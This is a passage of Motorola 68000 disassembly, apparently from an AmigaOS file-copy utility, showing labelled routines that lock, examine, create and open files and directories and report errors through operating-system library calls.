ADD.L D0,D0 ;0DCA: D080
CMP.L D0,D4 ;0DCC: B880
BNE LAB_0096 ;0DCE: 66000B62
LAB_0033:
MOVEA.L 46(A7),A2 ;0DD2: 246F002E
MOVE.L -104(A5),D0 ;0DD6: 202DFF98
MOVE.L D0,-116(A5) ;0DDA: 2B40FF8C
MOVEA.L D0,A3 ;0DDE: 2640
TST.L -28(A5) ;0DE0: 4AADFFE4
BEQ LAB_003A ;0DE4: 670000D8
TST.L 40(A7) ;0DE8: 4AAF0028
BEQ LAB_003A ;0DEC: 670000D0
MOVE.L A3,D1 ;0DF0: 220B
MOVEQ #-2,D2 ;0DF2: 74FE
MOVEA.L A2,A6 ;0DF4: 2C4A
JSR -84(A6) ;0DF6: 4EAEFFAC
MOVE.L D0,D5 ;0DFA: 2A00
TST.L D5 ;0DFC: 4A85
BEQ.S LAB_0036 ;0DFE: 6742
MOVEA.L -132(A5),A3 ;0E00: 266DFF7C
MOVE.L D5,D1 ;0E04: 2205
MOVE.L A3,D2 ;0E06: 240B
JSR -102(A6) ;0E08: 4EAEFF9A
TST.L D0 ;0E0C: 4A80
BEQ.S LAB_0034 ;0E0E: 6722
MOVE.L 4(A3),D0 ;0E10: 202B0004
TST.L D0 ;0E14: 4A80
BPL.S LAB_0035 ;0E16: 6A24
LEA LAB_00B2(PC),A1 ;0E18: 43FA0D76
MOVE.L A1,D1 ;0E1C: 2209
JSR -948(A6) ;0E1E: 4EAEFC4C
MOVEQ #0,D4 ;0E22: 7800
MOVEQ #10,D0 ;0E24: 700A
MOVE.L D0,-68(A5) ;0E26: 2B40FFBC
MOVEA.L -140(A5),A3 ;0E2A: 266DFF74
BRA LAB_009B ;0E2E: 60000B6E
LAB_0034:
JSR -132(A6) ;0E32: 4EAEFF7C
MOVE.L D0,D4 ;0E36: 2800
BRA LAB_0096 ;0E38: 60000AF8
LAB_0035:
CLR.L -36(A5) ;0E3C: 42ADFFDC
BRA.S LAB_0039 ;0E40: 6060
LAB_0036:
MOVEA.L -104(A5),A0 ;0E42: 206DFF98
MOVE.L A0,D1 ;0E46: 2208
JSR -120(A6) ;0E48: 4EAEFF88
MOVE.L D0,D5 ;0E4C: 2A00
TST.L D5 ;0E4E: 4A85
BNE.S LAB_0037 ;0E50: 660A
JSR -132(A6) ;0E52: 4EAEFF7C
MOVE.L D0,D4 ;0E56: 2800
BRA LAB_0096 ;0E58: 60000AD8
LAB_0037:
MOVEA.L 46(A7),A2 ;0E5C: 246F002E
MOVEQ #1,D0 ;0E60: 7001
MOVE.L D0,-36(A5) ;0E62: 2B40FFDC
TST.L -96(A5) ;0E66: 4AADFFA0
BNE.S LAB_0038 ;0E6A: 6612
LEA LAB_00B4(PC),A0 ;0E6C: 41FA0D44
MOVE.L A0,D1 ;0E70: 2208
LEA -104(A5),A1 ;0E72: 43EDFF98
MOVE.L A1,D2 ;0E76: 2409
MOVEA.L A2,A6 ;0E78: 2C4A
JSR -954(A6) ;0E7A: 4EAEFC46
LAB_0038:
MOVE.L D5,D1 ;0E7E: 2205
MOVEA.L A2,A6 ;0E80: 2C4A
JSR -90(A6) ;0E82: 4EAEFFA6
MOVEA.L -104(A5),A0 ;0E86: 206DFF98
MOVE.L A0,D1 ;0E8A: 2208
MOVEQ #-2,D2 ;0E8C: 74FE
JSR -84(A6) ;0E8E: 4EAEFFAC
MOVE.L D0,D5 ;0E92: 2A00
TST.L D5 ;0E94: 4A85
BNE.S LAB_0039 ;0E96: 660A
JSR -132(A6) ;0E98: 4EAEFF7C
MOVE.L D0,D4 ;0E9C: 2800
BRA LAB_0096 ;0E9E: 60000A92
LAB_0039:
MOVEA.L 46(A7),A3 ;0EA2: 266F002E
MOVE.L D5,D1 ;0EA6: 2205
MOVEA.L A3,A6 ;0EA8: 2C4B
JSR -96(A6) ;0EAA: 4EAEFFA0
MOVE.L D0,-128(A5) ;0EAE: 2B40FF80
BNE.S LAB_003D ;0EB2: 6668
JSR -132(A6) ;0EB4: 4EAEFF7C
MOVE.L D0,D4 ;0EB8: 2800
BRA LAB_0096 ;0EBA: 60000A76
LAB_003A:
MOVE.L A3,D1 ;0EBE: 220B
MOVEQ #-2,D2 ;0EC0: 74FE
MOVEA.L A2,A6 ;0EC2: 2C4A
JSR -84(A6) ;0EC4: 4EAEFFAC
MOVE.L D0,D5 ;0EC8: 2A00
TST.L D5 ;0ECA: 4A85
BNE.S LAB_003B ;0ECC: 6618
JSR -132(A6) ;0ECE: 4EAEFF7C
MOVE.L D0,D4 ;0ED2: 2800
MOVEQ #50,D0 ;0ED4: 7032
NOT.B D0 ;0ED6: 4600
CMP.L D0,D4 ;0ED8: B880
BEQ.S LAB_003B ;0EDA: 670A
MOVEQ #46,D0 ;0EDC: 702E
NOT.B D0 ;0EDE: 4600
CMP.L D0,D4 ;0EE0: B880
BNE LAB_0096 ;0EE2: 66000A4E
LAB_003B:
MOVEA.L 46(A7),A2 ;0EE6: 246F002E
TST.L D5 ;0EEA: 4A85
BEQ.S LAB_003D ;0EEC: 672E
MOVEA.L -132(A5),A3 ;0EEE: 266DFF7C
MOVE.L D5,D1 ;0EF2: 2205
MOVE.L A3,D2 ;0EF4: 240B
MOVEA.L A2,A6 ;0EF6: 2C4A
JSR -102(A6) ;0EF8: 4EAEFF9A
TST.L D0 ;0EFC: 4A80
BEQ.S LAB_003C ;0EFE: 6712
MOVE.L 4(A3),D0 ;0F00: 202B0004
TST.L D0 ;0F04: 4A80
BPL.S LAB_003D ;0F06: 6A14
MOVE.L D5,D1 ;0F08: 2205
JSR -90(A6) ;0F0A: 4EAEFFA6
MOVEQ #0,D5 ;0F0E: 7A00
BRA.S LAB_003D ;0F10: 600A
LAB_003C:
JSR -132(A6) ;0F12: 4EAEFF7C
MOVE.L D0,D4 ;0F16: 2800
BRA LAB_0096 ;0F18: 60000A18
LAB_003D:
MOVEA.L -160(A5),A2 ;0F1C: 246DFF60
MOVEA.L 46(A7),A3 ;0F20: 266F002E
MOVE.L (A2),D0 ;0F24: 2012
BEQ.S LAB_003E ;0F26: 670C
MOVE.L D0,D1 ;0F28: 2200
MOVEA.L A3,A6 ;0F2A: 2C4B
JSR -126(A6) ;0F2C: 4EAEFF82
MOVE.L D0,-164(A5) ;0F30: 2B40FF5C
LAB_003E:
MOVE.L -92(A5),D0 ;0F34: 202DFFA4
BEQ.S LAB_0040 ;0F38: 671E
MOVEA.L D0,A0 ;0F3A: 2040
MOVE.L (A0),D7 ;0F3C: 2E10
TST.L D7 ;0F3E: 4A87
BMI.S LAB_003F ;0F40: 6B10
MOVEA.L -64(A5),A0 ;0F42: 206DFFC0
MOVE.L (A0),D1 ;0F46: 2210
MOVEA.L A3,A6 ;0F48: 2C4B
JSR -708(A6) ;0F4A: 4EAEFD3C
TST D0 ;0F4E: 4A40
BNE.S LAB_0041 ;0F50: 660A
LAB_003F:
MOVEQ #64,D7 ;0F52: 7E40
ADD.L D7,D7 ;0F54: DE87
BRA.S LAB_0041 ;0F56: 6004
LAB_0040:
MOVEQ #64,D7 ;0F58: 7E40
ADD.L D7,D7 ;0F5A: DE87
LAB_0041:
ASL.L #8,D7 ;0F5C: E187
ADD.L D7,D7 ;0F5E: DE87
MOVE.L D7,-112(A5) ;0F60: 2B47FF90
TST.L (A2) ;0F64: 4A92
BEQ.S LAB_0042 ;0F66: 670A
MOVE.L -164(A5),D1 ;0F68: 222DFF5C
MOVEA.L A3,A6 ;0F6C: 2C4B
JSR -126(A6) ;0F6E: 4EAEFF82
LAB_0042:
TST.L D7 ;0F72: 4A87
BEQ.S LAB_0045 ;0F74: 6738
LAB_0043:
MOVE.L D7,D0 ;0F76: 2007
MOVEQ #0,D1 ;0F78: 7200
MOVEA.L 50(A7),A6 ;0F7A: 2C6F0032
JSR -684(A6) ;0F7E: 4EAEFD54
MOVE.L D0,-56(A5) ;0F82: 2B40FFC8
BNE.S LAB_0045 ;0F86: 6626
MOVE.L -112(A5),D7 ;0F88: 2E2DFF90
CMPI.L #$00000400,D7 ;0F8C: 0C8700000400
BGT.S LAB_0044 ;0F92: 6E0A
MOVEQ #103,D4 ;0F94: 7867
CLR.L -116(A5) ;0F96: 42ADFF8C
BRA LAB_0096 ;0F9A: 60000996
LAB_0044:
MOVE.L -112(A5),D7 ;0F9E: 2E2DFF90
SUBI.L #$00000400,D7 ;0FA2: 048700000400
MOVE.L D7,-112(A5) ;0FA8: 2B47FF90
BRA.S LAB_0043 ;0FAC: 60C8
LAB_0045:
MOVEQ #1,D0 ;0FAE: 7001
MOVE.L D0,-40(A5) ;0FB0: 2B40FFD8
MOVEA.L 46(A7),A2 ;0FB4: 246F002E
BRA LAB_0095 ;0FB8: 6000095E
LAB_0046:
TST.L -40(A5) ;0FBC: 4AADFFD8
BEQ.S LAB_0047 ;0FC0: 6708
CLR.L -40(A5) ;0FC2: 42ADFFD8
BRA LAB_0050 ;0FC6: 6000019A
LAB_0047:
MOVE.L D5,D1 ;0FCA: 2205
MOVEA.L A2,A6 ;0FCC: 2C4A
JSR -90(A6) ;0FCE: 4EAEFFA6
MOVE.L -128(A5),D1 ;0FD2: 222DFF80
JSR -96(A6) ;0FD6: 4EAEFFA0
MOVE.L D0,D5 ;0FDA: 2A00
TST.L D5 ;0FDC: 4A85
BNE.S LAB_0048 ;0FDE: 660A
JSR -132(A6) ;0FE0: 4EAEFF7C
MOVE.L D0,D4 ;0FE4: 2800
BRA LAB_0096 ;0FE6: 6000094A
LAB_0048:
MOVEA.L 46(A7),A2 ;0FEA: 246F002E
MOVEA.L -160(A5),A3 ;0FEE: 266DFF60
ADDQ.L #4,A3 ;0FF2: 588B
MOVE.L A3,-160(A5) ;0FF4: 2B4BFF60
MOVE.L (A3),D0 ;0FF8: 2013
BEQ.S LAB_0049 ;0FFA: 670C
MOVE.L D0,D1 ;0FFC: 2200
MOVEA.L A2,A6 ;0FFE: 2C4A
JSR -126(A6) ;1000: 4EAEFF82
MOVE.L D0,-164(A5) ;1004: 2B40FF5C
LAB_0049:
MOVE.L -60(A5),D1 ;1008: 222DFFC4
MOVE.L -140(A5),D2 ;100C: 242DFF74
MOVEA.L A2,A6 ;1010: 2C4A
JSR -822(A6) ;1012: 4EAEFCCA
TST.L D0 ;1016: 4A80
BEQ.S LAB_004B ;1018: 6766
TST.L (A3) ;101A: 4A93
BEQ.S LAB_004A ;101C: 6708
MOVE.L -164(A5),D1 ;101E: 222DFF5C
JSR -126(A6) ;1022: 4EAEFF82
LAB_004A:
JSR -132(A6) ;1026: 4EAEFF7C
MOVE.L D0,D4 ;102A: 2800
MOVE.L -60(A5),-116(A5) ;102C: 2B6DFFC4FF8C
MOVEQ #50,D0 ;1032: 7032
NOT.B D0 ;1034: 4600
CMP.L D0,D4 ;1036: B880
BNE LAB_0096 ;1038: 660008F8
MOVE.L -108(A5),-116(A5) ;103C: 2B6DFF94FF8C
LEA LAB_00AE(PC),A0 ;1042: 41FA0B26
MOVE.L A0,D1 ;1046: 2208
LEA -60(A5),A1 ;1048: 43EDFFC4
MOVE.L A1,D2 ;104C: 2409
JSR -954(A6) ;104E: 4EAEFC46
LEA LAB_00AF(PC),A0 ;1052: 41FA0B2A
MOVE.L A0,-116(A5) ;1056: 2B48FF8C
LEA LAB_00B0(PC),A0 ;105A: 41FA0B26
MOVE.L A0,D1 ;105E: 2208
LEA -116(A5),A1 ;1060: 43EDFF8C
MOVE.L A1,D2 ;1064: 2409
JSR -954(A6) ;1066: 4EAEFC46
MOVE.L D4,D1 ;106A: 2204
MOVEQ #0,D2 ;106C: 7400
JSR -474(A6) ;106E: 4EAEFE26
CLR.L -116(A5) ;1072: 42ADFF8C
MOVEQ #5,D0 ;1076: 7005
MOVE.L D0,-68(A5) ;1078: 2B40FFBC
BRA LAB_0095 ;107C: 6000089A
LAB_004B:
MOVEA.L 46(A7),A2 ;1080: 246F002E
MOVEA.L -160(A5),A3 ;1084: 266DFF60
TST.L (A3) ;1088: 4A93
BEQ.S LAB_004C ;108A: 670A
MOVE.L -164(A5),D1 ;108C: 222DFF5C
MOVEA.L A2,A6 ;1090: 2C4A
JSR -126(A6) ;1092: 4EAEFF82
LAB_004C:
MOVEA.L -140(A5),A3 ;1096: 266DFF74
BTST #1,16(A3) ;109A: 082B00010010
BNE LAB_0050 ;10A0: 660000C0
MOVE.L 24(A3),D0 ;10A4: 202B0018
TST.L D0 ;10A8: 4A80
BLE LAB_0050 ;10AA: 6F0000B6
BSET #2,16(A3) ;10AE: 08EB00020010
MOVEA.L -160(A5),A0 ;10B4: 206DFF60
MOVE.L (A0),D0 ;10B8: 2010
MOVEA.L A3,A0 ;10BA: 204B
MOVEA.L A2,A1 ;10BC: 224A
BSR LAB_00D0 ;10BE: 61000BA4
TST.L D0 ;10C2: 4A80
BEQ LAB_0050 ;10C4: 6700009C
MOVEA.L A2,A6 ;10C8: 2C4A
JSR -132(A6) ;10CA: 4EAEFF7C
MOVE.L D0,D4 ;10CE: 2800
MOVEQ #116,D0 ;10D0: 7074
ADD.L D0,D0 ;10D2: D080
CMP.L D0,D4 ;10D4: B880
BEQ LAB_0050 ;10D6: 6700008A
BRA LAB_0096 ;10DA: 60000856
LAB_004D:
MOVE.L -32(A5),D6 ;10DE: 2C2DFFE0
SUBQ.L #1,D6 ;10E2: 5386
MOVE.L D6,-32(A5) ;10E4: 2B46FFE0
TST.L 40(A7) ;10E8: 4AAF0028
BEQ.S LAB_004F ;10EC: 6752
MOVE.L D5,D0 ;10EE: 2005
MOVE.L D0,36(A7) ;10F0: 2F400024
MOVE.L D0,D1 ;10F4: 2200
MOVEA.L A2,A6 ;10F6: 2C4A
JSR -210(A6) ;10F8: 4EAEFF2E
MOVE.L D0,D5 ;10FC: 2A00
MOVE.L 36(A7),D1 ;10FE: 222F0024
JSR -90(A6) ;1102: 4EAEFFA6
TST.L D5 ;1106: 4A85
BEQ.S LAB_004F ;1108: 6736
MOVE.L 24(A3),D0 ;110A: 202B0018
TST.L D0 ;110E: 4A80
BLE.S LAB_004F ;1110: 6F2E
TST.L -88(A5) ;1112: 4AADFFA8
BNE.S LAB_004E ;1116: 6606
TST.L -84(A5) ;1118: 4AADFFAC
BEQ.S LAB_004F ;111C: 6722
LAB_004E:
MOVE.L D5,D1 ;111E: 2205
JSR -126(A6) ;1120: 4EAEFF82
LEA 28(A3),A0 ;1124: 41EB001C
LEA 152(A3),A1 ;1128: 43EB0098
MOVE.L D0,36(A7) ;112C: 2F400024
MOVE.L A0,D1 ;1130: 2208
MOVE.L A1,D2 ;1132: 2409
JSR -396(A6) ;1134: 4EAEFE74
MOVE.L 36(A7),D1 ;1138: 222F0024
JSR -126(A6) ;113C: 4EAEFF82
LAB_004F:
BCLR #3,16(A3) ;1140: 08AB00030010
MOVEA.L -160(A5),A0 ;1146: 206DFF60
MOVE.L (A0),D0 ;114A: 2010
MOVEA.L A3,A0 ;114C: 204B
MOVEA.L A2,A1 ;114E: 224A
BSR LAB_00D0 ;1150: 61000B12
MOVE.L D0,D7 ;1154: 2E00
TST.L D7 ;1156: 4A87
BNE LAB_0093 ;1158: 6600079A
TST.L D6 ;115C: 4A86
BMI LAB_0093 ;115E: 6B000794
LAB_0050:
MOVEA.L -140(A5),A3 ;1162: 266DFF74
MOVEA.L 46(A7),A2 ;1166: 246F002E
BTST #3,16(A3) ;116A: 082B00030010
BNE LAB_004D ;1170: 6600FF6C
MOVEQ #64,D1 ;1174: 7240
LSL.L #6,D1 ;1176: ED89
MOVEA.L A2,A6 ;1178: 2C4A
JSR -792(A6) ;117A: 4EAEFCE8
TST.L D0 ;117E: 4A80
BEQ LAB_0067 ;1180: 670002E2
MOVEQ #76,D1 ;1184: 724C
LSL.L #2,D1 ;1186: E589
MOVEQ #0,D2 ;1188: 7400
JSR -474(A6) ;118A: 4EAEFE26
BRA LAB_009B ;118E: 6000080E
LAB_0051:
TST.L -96(A5) ;1192: 4AADFFA0
BNE.S LAB_0052 ;1196: 6626
MOVE.L -32(A5),D0 ;1198: 202DFFE0
ADDQ.L #1,D0 ;119C: 5280
MOVEA.L A2,A0 ;119E: 204A
BSR LAB_00D7 ;11A0: 61000AF6
LEA 28(A3),A0 ;11A4: 41EB001C
MOVE.L A0,-116(A5) ;11A8: 2B48FF8C
LEA LAB_00B7(PC),A0 ;11AC: 41FA0A18
MOVE.L A0,D1 ;11B0: 2208
LEA -116(A5),A1 ;11B2: 43EDFF8C
MOVE.L A1,D2 ;11B6: 2409
MOVEA.L A2,A6 ;11B8: 2C4A
JSR -954(A6) ;11BA: 4EAEFC46
LAB_0052:
TST.L -100(A5) ;11BE: 4AADFF9C
BEQ LAB_0062 ;11C2: 670001E0
MOVEQ #64,D1 ;11C6: 7240
LSL.L #6,D1 ;11C8: ED89
MOVEA.L A2,A6 ;11CA: 2C4A
JSR -792(A6) ;11CC: 4EAEFCE8
TST.L D0 ;11D0: 4A80
BEQ.S LAB_0053 ;11D2: 670E
MOVEQ #76,D1 ;11D4: 724C
LSL.L #2,D1 ;11D6: E589
MOVEQ #0,D2 ;11D8: 7400
JSR -474(A6) ;11DA: 4EAEFE26
BRA LAB_009B ;11DE: 600007BE
LAB_0053:
MOVEA.L -140(A5),A3 ;11E2: 266DFF74
MOVEA.L 46(A7),A2 ;11E6: 246F002E
MOVEA.L A3,A0 ;11EA: 204B
MOVEA.L 4(A0),A1 ;11EC: 22680004
MOVE.L A0,36(A7) ;11F0: 2F480024
MOVE.L 8(A1),D1 ;11F4: 22290008
MOVEA.L A2,A6 ;11F8: 2C4A
JSR -126(A6) ;11FA: 4EAEFF82
ADDA #$001C,A3 ;11FE: D6FC001C
MOVE.L D0,54(A7) ;1202: 2F400036
MOVE.L A3,D1 ;1206: 220B
MOVEQ #-2,D2 ;1208: 74FE
JSR -84(A6) ;120A: 4EAEFFAC
MOVE.L D0,D6 ;120E: 2C00
MOVE.L 54(A7),D1 ;1210: 222F0036
JSR -126(A6) ;1214: 4EAEFF82
MOVEA.L 36(A7),A1 ;1218: 226F0024
MOVEA.L 4(A1),A0 ;121C: 20690004
MOVE.L 8(A0),D1 ;1220: 22280008
JSR -96(A6) ;1224: 4EAEFFA0
MOVE.L D0,D7 ;1228: 2E00
BRA.S LAB_0056 ;122A: 6050
LAB_0054:
MOVE.L D6,D1 ;122C: 2206
MOVE.L D7,D2 ;122E: 2407
MOVEA.L A2,A6 ;1230: 2C4A
JSR -420(A6) ;1232: 4EAEFE5C
TST.L D0 ;1236: 4A80
BNE.S LAB_0055 ;1238: 6628
MOVE.L A3,-116(A5) ;123A: 2B4BFF8C
LEA LAB_00BA(PC),A6 ;123E: 4DFA0990
MOVE.L A6,D1 ;1242: 220E
LEA -116(A5),A0 ;1244: 41EDFF8C
MOVE.L A0,D2 ;1248: 2408
MOVEA.L A2,A6 ;124A: 2C4A
JSR -954(A6) ;124C: 4EAEFC46
MOVEQ #0,D4 ;1250: 7800
MOVE.L D6,D1 ;1252: 2206
JSR -90(A6) ;1254: 4EAEFFA6
MOVE.L D7,D1 ;1258: 2207
JSR -90(A6) ;125A: 4EAEFFA6
BRA LAB_0096 ;125E: 600006D2
LAB_0055:
MOVEA.L 46(A7),A2 ;1262: 246F002E
MOVE.L D7,D1 ;1266: 2207
MOVEA.L A2,A6 ;1268: 2C4A
JSR -210(A6) ;126A: 4EAEFF2E
MOVE.L D0,36(A7) ;126E: 2F400024
MOVE.L D7,D1 ;1272: 2207
JSR -90(A6) ;1274: 4EAEFFA6
MOVE.L 36(A7),D7 ;1278: 2E2F0024
LAB_0056:
TST.L D7 ;127C: 4A87
BNE.S LAB_0054 ;127E: 66AC
TST.L 40(A7) ;1280: 4AAF0028
BEQ LAB_0060 ;1284: 67000102
TST.L -36(A5) ;1288: 4AADFFDC
BEQ.S LAB_0057 ;128C: 670C
MOVE.L D5,D1 ;128E: 2205
MOVEA.L A2,A6 ;1290: 2C4A
JSR -210(A6) ;1292: 4EAEFF2E
MOVE.L D0,D7 ;1296: 2E00
BRA.S LAB_005A ;1298: 605C
LAB_0057:
MOVE.L D5,D1 ;129A: 2205
MOVEA.L A2,A6 ;129C: 2C4A
JSR -96(A6) ;129E: 4EAEFFA0
MOVE.L D0,D7 ;12A2: 2E00
BRA.S LAB_005A ;12A4: 6050
LAB_0058:
MOVE.L D6,D1 ;12A6: 2206
MOVE.L D7,D2 ;12A8: 2407
MOVEA.L A2,A6 ;12AA: 2C4A
JSR -420(A6) ;12AC: 4EAEFE5C
TST.L D0 ;12B0: 4A80
BNE.S LAB_0059 ;12B2: 6628
MOVE.L A3,-116(A5) ;12B4: 2B4BFF8C
LEA LAB_00BA(PC),A6 ;12B8: 4DFA0916
MOVE.L A6,D1 ;12BC: 220E
LEA -116(A5),A0 ;12BE: 41EDFF8C
MOVE.L A0,D2 ;12C2: 2408
MOVEA.L A2,A6 ;12C4: 2C4A
JSR -954(A6) ;12C6: 4EAEFC46
MOVEQ #0,D4 ;12CA: 7800
MOVE.L D6,D1 ;12CC: 2206
JSR -90(A6) ;12CE: 4EAEFFA6
MOVE.L D7,D1 ;12D2: 2207
JSR -90(A6) ;12D4: 4EAEFFA6
BRA LAB_0096 ;12D8: 60000658
LAB_0059:
MOVEA.L 46(A7),A2 ;12DC: 246F002E
MOVE.L D7,D1 ;12E0: 2207
MOVEA.L A2,A6 ;12E2: 2C4A
JSR -210(A6) ;12E4: 4EAEFF2E
MOVE.L D0,36(A7) ;12E8: 2F400024
MOVE.L D7,D1 ;12EC: 2207
JSR -90(A6) ;12EE: 4EAEFFA6
MOVE.L 36(A7),D7 ;12F2: 2E2F0024
LAB_005A:
TST.L D7 ;12F6: 4A87
BNE.S LAB_0058 ;12F8: 66AC
MOVE.L D5,D1 ;12FA: 2205
MOVEA.L A2,A6 ;12FC: 2C4A
JSR -126(A6) ;12FE: 4EAEFF82
MOVE.L D0,D7 ;1302: 2E00
MOVE.L A3,D1 ;1304: 220B
MOVEQ #-2,D2 ;1306: 74FE
JSR -84(A6) ;1308: 4EAEFFAC
MOVE.L D0,D5 ;130C: 2A00
TST.L D5 ;130E: 4A85
BNE.S LAB_005E ;1310: 6652
MOVE.L A3,D1 ;1312: 220B
JSR -120(A6) ;1314: 4EAEFF88
MOVE.L D0,D5 ;1318: 2A00
TST.L D5 ;131A: 4A85
BNE.S LAB_005D ;131C: 6632
JSR -132(A6) ;131E: 4EAEFF7C
MOVE.L D0,D4 ;1322: 2800
MOVE.L D7,D1 ;1324: 2207
JSR -126(A6) ;1326: 4EAEFF82
MOVE.L D0,D5 ;132A: 2A00
TST.L -96(A5) ;132C: 4AADFFA0
BNE.S LAB_005B ;1330: 660A
LEA LAB_00BC(PC),A0 ;1332: 41FA08B6
MOVE.L A0,D1 ;1336: 2208
JSR -948(A6) ;1338: 4EAEFC4C
LAB_005B:
MOVEA.L A3,A0 ;133C: 204B
MOVEA.L -48(A5),A1 ;133E: 226DFFD0
LAB_005C:
MOVE.B (A0)+,(A1)+ ;1342: 12D8
BNE.S LAB_005C ;1344: 66FC
MOVE.L -48(A5),-116(A5) ;1346: 2B6DFFD0FF8C
BRA LAB_0096 ;134C: 600005E4
LAB_005D:
TST.L -96(A5) ;1350: 4AADFFA0
BNE.S LAB_005F ;1354: 661E
LEA LAB_00BD(PC),A0 ;1356: 41FA0894
MOVE.L A0,D1 ;135A: 2208
MOVEA.L A2,A6 ;135C: 2C4A
JSR -948(A6) ;135E: 4EAEFC4C
BRA.S LAB_005F ;1362: 6010
LAB_005E:
TST.L -96(A5) ;1364: 4AADFFA0
BNE.S LAB_005F ;1368: 660A
LEA LAB_00BC(PC),A0 ;136A: 41FA087E
MOVE.L A0,D1 ;136E: 2208
JSR -948(A6) ;1370: 4EAEFC4C
LAB_005F:
ADDQ.L #1,-32(A5) ;1374: 52ADFFE0
MOVE.L D7,D1 ;1378: 2207
MOVEA.L A2,A6 ;137A: 2C4A
JSR -126(A6) ;137C: 4EAEFF82
MOVE.L D0,D1 ;1380: 2200
JSR -90(A6) ;1382: 4EAEFFA6
BRA.S LAB_0061 ;1386: 6012
LAB_0060:
TST.L -96(A5) ;1388: 4AADFFA0
BNE.S LAB_0061 ;138C: 660C
LEA LAB_00BC(PC),A0 ;138E: 41FA085A
MOVE.L A0,D1 ;1392: 2208
MOVEA.L A2,A6 ;1394: 2C4A
JSR -948(A6) ;1396: 4EAEFC4C
LAB_0061:
MOVE.L D6,D1 ;139A: 2206
MOVEA.L A2,A6 ;139C: 2C4A
JSR -90(A6) ;139E: 4EAEFFA6
BRA.S LAB_0063 ;13A2: 6018
LAB_0062:
TST.L -96(A5) ;13A4: 4AADFFA0
BNE LAB_0092 ;13A8: 66000532
LEA LAB_00BC(PC),A0 ;13AC: 41FA083C
MOVE.L A0,D1 ;13B0: 2208
MOVEA.L A2,A6 ;13B2: 2C4A
JSR -948(A6) ;13B4: 4EAEFC4C
BRA LAB_0092 ;13B8: 60000522
LAB_0063:
MOVEA.L -140(A5),A0 ;13BC: 206DFF74
BSET #2,16(A0) ;13C0: 08E800020010
MOVEA.L 46(A7),A2 ;13C6: 246F002E
MOVEA.L -160(A5),A1 ;13CA: 226DFF60
MOVE.L (A1),D0 ;13CE: 2011
MOVEA.L A2,A1 ;13D0: 224A
BSR LAB_00D0 ;13D2: 61000890
TST.L D0 ;13D6: 4A80
BEQ.S LAB_0064 ;13D8: 670C
MOVEA.L A2,A6 ;13DA: 2C4A
JSR -132(A6) ;13DC: 4EAEFF7C
MOVE.L D0,D7 ;13E0: 2E00
BRA LAB_0093 ;13E2: 60000510
LAB_0064:
MOVEA.L -140(A5),A0 ;13E6: 206DFF74
BTST #3,16(A0) ;13EA: 082800030010
BEQ.S LAB_0067 ;13F0: 6772
SUBQ.L #1,-32(A5) ;13F2: 53ADFFE0
MOVEA.L 46(A7),A2 ;13F6: 246F002E
TST.L 40(A7) ;13FA: 4AAF0028
BEQ.S LAB_0066 ;13FE: 6756
MOVE.L D5,D0 ;1400: 2005
MOVE.L D0,36(A7) ;1402: 2F400024
MOVE.L D0,D1 ;1406: 2200
MOVEA.L A2,A6 ;1408: 2C4A
JSR -210(A6) ;140A: 4EAEFF2E
MOVE.L D0,D5 ;140E: 2A00
MOVE.L 36(A7),D1 ;1410: 222F0024
JSR -90(A6) ;1414: 4EAEFFA6
TST.L D5 ;1418: 4A85
BEQ.S LAB_0066 ;141A: 673A
MOVEA.L -140(A5),A0 ;141C: 206DFF74
MOVE.L 24(A0),D0 ;1420: 20280018
TST.L D0 ;1424: 4A80
BLE.S LAB_0066 ;1426: 6F2E
TST.L -88(A5) ;1428: 4AADFFA8
BNE.S LAB_0065 ;142C: 6606
TST.L -84(A5) ;142E: 4AADFFAC
BEQ.S LAB_0066 ;1432: 6722
LAB_0065:
MOVE.L D5,D1 ;1434: 2205
JSR -126(A6) ;1436: 4EAEFF82
MOVEA.L -140(A5),A0 ;143A: 206DFF74
ADDA #$0098,A0 ;143E: D0FC0098
MOVE.L D0,36(A7) ;1442: 2F400024
MOVE.L A0,D2 ;1446: 2408
MOVE.L A3,D1 ;1448: 220B
JSR -396(A6) ;144A: 4EAEFE74
MOVE.L 36(A7),D1 ;144E: 222F0024
JSR -126(A6) ;1452: 4EAEFF82
LAB_0066:
MOVEA.L -140(A5),A0 ;1456: 206DFF74
BCLR #3,16(A0) ;145A: 08A800030010
BRA LAB_0092 ;1460: 6000047A
LAB_0067:
MOVEA.L -140(A5),A3 ;1464: 266DFF74
MOVEA.L 46(A7),A2 ;1468: 246F002E
MOVE.L 24(A3),D0 ;146C: 202B0018
TST.L D0 ;1470: 4A80
BGT LAB_0051 ;1472: 6E00FD1E
MOVEQ #1,D7 ;1476: 7E01
MOVEA.L 4(A3),A0 ;1478: 206B0004
MOVE.L 8(A0),D1 ;147C: 22280008
MOVEA.L A2,A6 ;1480: 2C4A
JSR -126(A6) ;1482: 4EAEFF82
MOVE.L D0,D6 ;1486: 2C00
ADDA #$001C,A3 ;1488: D6FC001C
MOVEA.L A3,A0 ;148C: 204B
MOVE.L A0,36(A7) ;148E: 2F480024
MOVE.L A3,D1 ;1492: 220B
MOVE.L #$000003ED,D2 ;1494: 243C000003ED
JSR -30(A6) ;149A: 4EAEFFE2
MOVE.L D0,-120(A5) ;149E: 2B40FF88
BNE.S LAB_0068 ;14A2: 6602
MOVEQ #0,D7 ;14A4: 7E00
LAB_0068:
MOVE.L D6,D1 ;14A6: 2206
JSR -126(A6) ;14A8: 4EAEFF82
TST.L -120(A5) ;14AC: 4AADFF88
BEQ.S LAB_006A ;14B0: 6738
TST.L D5 ;14B2: 4A85
BEQ.S LAB_0069 ;14B4: 6720
MOVE.L D5,D1 ;14B6: 2205
JSR -126(A6) ;14B8: 4EAEFF82
MOVE.L D0,D6 ;14BC: 2C00
MOVE.L A3,D1 ;14BE: 220B
MOVE.L #$000003EE,D2 ;14C0: 243C000003EE
JSR -30(A6) ;14C6: 4EAEFFE2
MOVE.L D0,-124(A5) ;14CA: 2B40FF84
MOVE.L D6,D1 ;14CE: 2206
JSR -126(A6) ;14D0: 4EAEFF82
BRA.S LAB_006A ;14D4: 6014
LAB_0069:
MOVEA.L -104(A5),A0 ;14D6: 206DFF98
MOVE.L A0,D1 ;14DA: 2208
MOVE.L #$000003EE,D2 ;14DC: 243C000003EE
JSR -30(A6) ;14E2: 4EAEFFE2
MOVE.L D0,-124(A5) ;14E6: 2B40FF84
LAB_006A:
TST.L -124(A5) ;14EA: 4AADFF84
BEQ.S LAB_006B ;14EE: 6708
TST.L -120(A5) ;14F0: 4AADFF88
BNE LAB_0071 ;14F4: 66000084
LAB_006B:
JSR -132(A6) ;14F8: 4EAEFF7C
MOVE.L D0,D4 ;14FC: 2800
MOVE.L A3,-116(A5) ;14FE: 2B4BFF8C
